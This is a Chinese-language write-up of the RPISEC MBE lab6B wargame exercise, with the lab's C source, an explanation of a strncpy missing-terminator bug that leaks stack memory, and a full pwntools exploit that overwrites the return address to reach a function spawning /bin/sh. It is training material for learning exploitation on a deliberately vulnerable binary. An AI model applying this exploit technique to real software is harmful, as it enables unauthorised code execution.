RPISEC/MBE: writeup lab6B (PIE)

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6B.c,由于最新的gcc编译的无法达到目标效果,所以站长对源码进行了部分修改。

utils.h

/*
 * Tools for anti-debug/disasm
 */

/* throws off esp analysis to thwart hexrays */
#define deathrays \
    __asm__ volatile("push     %eax      \n"\
                     "xor      %eax, %eax\n"\
                     "jz       .+5       \n"\
                     ".word    0xC483    \n"\
                     ".byte    0x04      \n"\
                     "pop      %eax      \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
    for (; *_argv; ++_argv) { \
        memset(*_argv, 0, strlen(*_argv)); \
    }
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
    char x = 0;
    while(1)
    {
        x = getchar();
        if(x == '\n' || x == EOF)
            break;
    }
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
    unsigned int res = 0;
    fflush(stdout);
    scanf("%u", &res);
    clear_stdin();
    return res;
}

void prog_timeout(int sig)
{
  asm("mov $1, %eax;"
      "mov $1, %ebx;"
      "int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
  __attribute__ ((constructor)) void enable_timeout_cons() \
  { \
      signal(SIGALRM, prog_timeout); \
      alarm(_time); \
}

lab6B.c

/* compiled with: gcc -z relro -z now -pie -fPIE -m32 -fno-stack-protector -o lab6B lab6B.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "./utils.h"

// ENABLE_TIMEOUT(300)

/* log the user in */
int login()
{
    printf("WELCOME MR. FALK\n");

    /* you win */
    system("/bin/sh");
    return 0;
}

/* doom's super secret password mangling scheme */
void hash_pass(char * password, char * username)
{
    int i = 0;

    /* hash pass with chars of username */
    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

    /* hash rest of password with a pad char */
    while(password[i])
    {
        password[i] ^= 0x44;
        i++;
    }

    return;
}

/* doom's super secure password read function */
int load_pass(char ** password)
{
    FILE * fd = 0;
    int fail = -1;
    int psize = 0;

    /* open the password file */
    fd = fopen("./pass", "r");
    if(fd == NULL)
    {
        printf("Could not open secret pass!\n");
        return fail;
    }

    /* get the size of the password */
    if(fseek(fd, 0, SEEK_END))
    {
        printf("Failed to seek to end of pass!\n");
        return fail;
    }

    psize = ftell(fd);

    if(psize == 0 || psize == -1)
    {
        printf("Could not get pass size!\n");
        return fail;
    }

    /* reset stream */
    if(fseek(fd, 0, SEEK_SET))
    {
        printf("Failed to see to the start of pass!\n");
        return fail;
    }

    /* allocate a buffer for the password */
    *password = (char *)malloc(psize);
    if(password == NULL)
    {
        printf("Could not malloc for pass!\n");
        return fail;
    }

    /* make sure we read in the whole password */
    if(fread(*password, sizeof(char), psize, fd) != psize)
    {
        printf("Could not read secret pass!\n");
        free(*password);
        return fail;
    }

    fclose(fd);

    /* successfully read in the password */
    return psize;
}

int login_prompt(int pwsize, char * secretpw)
{
    // 不修改这里的话,会有\0字符截断,而无法实现目标
    asm("incl -8(%ebp)");

    char password[32];
    char username[32];
    char readbuff[128];
    int attempts = -3;
    int result = -1;

    /* login prompt loop */
    while(attempts++)
    {
        /* clear our buffers to avoid any sort of data re-use */
        memset(password, 0, sizeof(password));
        memset(username, 0, sizeof(username));
        memset(readbuff, 0, sizeof(readbuff));

        /* safely read username */
        printf("Enter your username: ");
        fgets(readbuff, sizeof(readbuff), stdin);

        /* use safe strncpy to copy username from the read buffer */
        strncpy(username, readbuff, sizeof(username));

        /* safely read password */
        printf("Enter your password: ");
        fgets(readbuff, sizeof(readbuff), stdin);

        /* use safe strncpy to copy password from the read buffer */
        strncpy(password, readbuff, sizeof(password));

        /* hash the input password for this attempt */
        hash_pass(password, username);

        /* check if password is correct */
        if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0)
        {
            login();
            result = 0;
            break;
        }

        printf("Authentication failed for user %s\n", username);
    }

    return result;
}

int main(int argc, char* argv[])
{
    int pwsize;
    char * secretpw;

    disable_buffering(stdout);

    /* load the secret pass */
    pwsize = load_pass(&secretpw);
    pwsize = pwsize > 32 ? 32 : pwsize;

    /* failed to load password */
    if(pwsize == 0 || pwsize == -1)
        return EXIT_FAILURE;

    /* hash the password we'll be comparing against */
    hash_pass(secretpw, "lab6A");
    printf("----------- FALK OS LOGIN PROMPT -----------\n");
    fflush(stdout);

    /* authorization loop */
    if(login_prompt(pwsize, secretpw))
    {

        /* print the super serious warning to ward off hackers */
        printf("+-------------------------------------------------------+\n"\
               "|WARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNIN|\n"\
               "|GWARNINGWARNI - TOO MANY LOGIN ATTEMPTS - NGWARNINGWARN|\n"\
               "|INGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWAR|\n"\
               "+-------------------------------------------------------+\n"\
               "|       We have logged this session and will be         |\n"\
               "|  sending it to the proper CCDC CTF teams to analyze   |\n"\
               "|             -----------------------------             |\n"\
               "|     The CCDC cyber team dispatched will use their     |\n"\
               "|      masterful IT and networking skills to trace      |\n"\
               "|       you down and serve swift american justice       |\n"\
               "+-------------------------------------------------------+\n");

        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

站长已经编译好了,点击下载lab6B

借鉴自:https://devel0pment.de/?p=378

程序里面究竟有什么漏洞呢?

通常,我们应该从用户输入开始,以发现可能的漏洞。在login_prompt函数中,使用fgets读取用户输入。fgets的第二个参数sizeof(readbuff)将读取的字符数量限制为sizeof(readbuffer)-1,所以这里没有漏洞。调用fgets之后,使用strncpy将readbuff复制到变量username
/ password中。虽然一般的程序员很清楚使用strcpy的危险,但是strncpy被认为是安全的。与对fgets的调用类似,在调用strncpy时传递目标缓冲区的大小 sizeof(username) 和
sizeof(password)。真的安全吗?注意这里!

STRCPY(3)                               Linux Programmer's Manual                               STRCPY(3)

NAME
       strcpy, strncpy - copy a string

SYNOPSIS
       #include <string.h>

       char *strcpy(char *dest, const char *src);

       char *strncpy(char *dest, const char *src, size_t n);

DESCRIPTION
       The  strcpy()  function  copies  the string pointed to by src, including the terminating null byte
       ('\0'), to the buffer pointed to by dest.  The strings may not overlap, and the destination string
       dest must be large enough to receive the copy.  Beware of buffer overruns!  (See BUGS.)

       The  strncpy()  function  is  similar, except that at most n bytes of src are copied.  Warning: If
       there is no null byte among the first n bytes of src, the string placed in dest will not be  null-
       terminated.

       If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that
       a total of n bytes are written.

这意味着如果源字符串过长的话,那么目标字符串将缺少一个终止空字节。为了防止这种情况发生,调用必须是这样的:

strncpy(username, readbuff, sizeof(username) - 1);

让我们运行这个程序,看看如何利用这个漏洞。

让我们输入一个用户名,它将填充整个缓冲区(32字节):

Enter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter your password: xxxx
Authentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9999K
Enter your username:

现在username没有以\x00结尾。当它被打印时,内存中缓冲区后面的字符也被打印了出来:9999K。9999K是什么鬼? 记住自己输入的password,因为他和username要被hash_pass函数简单加密:

while(password[i] && username[i])
{
    password[i] ^= username[i];
    i++;
}

这意味着9999K是我们的散列密码:

'A' (0x41) ^ 'x' (0x78) = '9' (0x39)
'A' (0x41) ^ 'x' (0x78) = '9' (0x39)
'A' (0x41) ^ 'x' (0x78) = '9' (0x39)
'A' (0x41) ^ 'x' (0x78) = '9' (0x39)
'A' (0x41) ^ '\n' (0x0a) = 'K' (0x4b)

那么如果我们输入一个32字节的username和一个32字节的password会发生什么呢?

----------- FALK OS LOGIN PROMPT -----------
Enter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter your password: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Authentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA99999999999999999999999999999999��������8I�ε]o!l���4]o'
Enter your username:

看来我们来对地方了(找到了溢出点),现在password后面的内存也会被打印出来。

你注意到什么了吗?实际上,在程序退出之前,只允许输入3次用户名/密码。但程序一直要求我输入用户名。我们似乎覆盖了堆栈上的attempts变量了。

为了更好地检查输出,我们可以使用pwntools编写一些python脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
 
p = process('./lab6B')
 
print(p.recv(200))
p.sendline("A"*32) # sending username
 
print(p.recv(200))
p.sendline("x"*32) # sending password
 
ret = p.recv(400)
print(hexdump(ret))

结果如下:

[+] Starting local process './lab6B': Done
----------- FALK OS LOGIN PROMPT -----------
Enter your username: 
Enter your password: 
00000000  41 75 74 68  65 6e 74 69  63 61 74 69  6f 6e 20 66  │Authentication f│
00000010  61 69 6c 65  64 20 66 6f  72 20 75 73  65 72 20 41  │ailed for user A│
00000020  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAAAAAAAAAAAAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 39  │AAAAAAAAAAAAAAA9│
00000040  39 39 39 39  39 39 39 39  39 39 39 39  39 39 39 39  │9999999999999999│
00000050  39 39 39 39  39 39 39 39  39 39 39 39  39 39 39 c6  │999999999999999·│
00000060  c6 c6 c6 c7  c6 c6 c6 38  c9 c0 ce b5  16 60 6f c1····│···8│····│·`o·│
00000070  49 ec c6 c6  34 60 6f 27  0a 45 6e 74  65 72 20 79  │I···│4`o'·Enter y│
00000080  6f 75 72 20  75 73 65 72  6e 61 6d 65  3a 20        │our username: │
0000008e
[*] Stopped program './lab6B'

利用IDA等工具分析,得出如下栈分布:

-00000000000000D0 readbuff        db 128 dup(?)
-0000000000000050 username        db 32 dup(?)
-0000000000000030 password        db 32 dup(?)
-0000000000000010 result          dd ?
-000000000000000C attempts        dd ?
-0000000000000008 var_8           dd ?
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 4 dup(?)
+0000000000000004  r              db 4 dup(?)
+0000000000000008 pwsize          dd ?
+000000000000000C secretpw        dd ?                    ; offset

然后直接贴脚本吧,有兴趣可以去看原文。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.log_level="debug"

p = process('./lab6B')
# gdb.attach(proc.pidof(p)[0],'c')
 
# *************************************************************
# 步骤一: 泄露返回地址和程序的库基址
 
p.recv(200)
p.sendline("A"*32) # username
p.recv(200)
p.sendline("x"*32) # password
 
ret = p.recv(400)  # output contains return address (XORed)
 
addr_ret_after_xor = ret[0x73:0x77]
addr_ret_orig = [chr(ord(a)^0x39) for a in addr_ret_after_xor]
 
# *******************************************************************************
# 步骤二: 专门针对 hash_pass 函数来调整ret地址
 
explPwd  = "x" * 4             # 变量 result
explPwd += "\x89\x87\x87\x87"  # 变量 attempts (这里是为了设置attempts 为 0)
explPwd += "x" * 12
explPwd += chr(ord(addr_ret_after_xor[0])^0xa3^0x41)
explPwd += chr(ord(addr_ret_after_xor[1])^(ord(addr_ret_orig[1]) & 0xf0 | 0x09)^0x41)
explPwd += chr(ord(addr_ret_after_xor[2])^ ord(addr_ret_orig[2])^0x41)
explPwd += chr(ord(addr_ret_after_xor[3])^ ord(addr_ret_orig[3])^0x41)
explPwd += "x" * 8
 
# p.recv(200)
p.sendline("A"*32)  # username
p.recv(200)
p.sendline(explPwd) # password
 
p.recv(400)
p.interactive()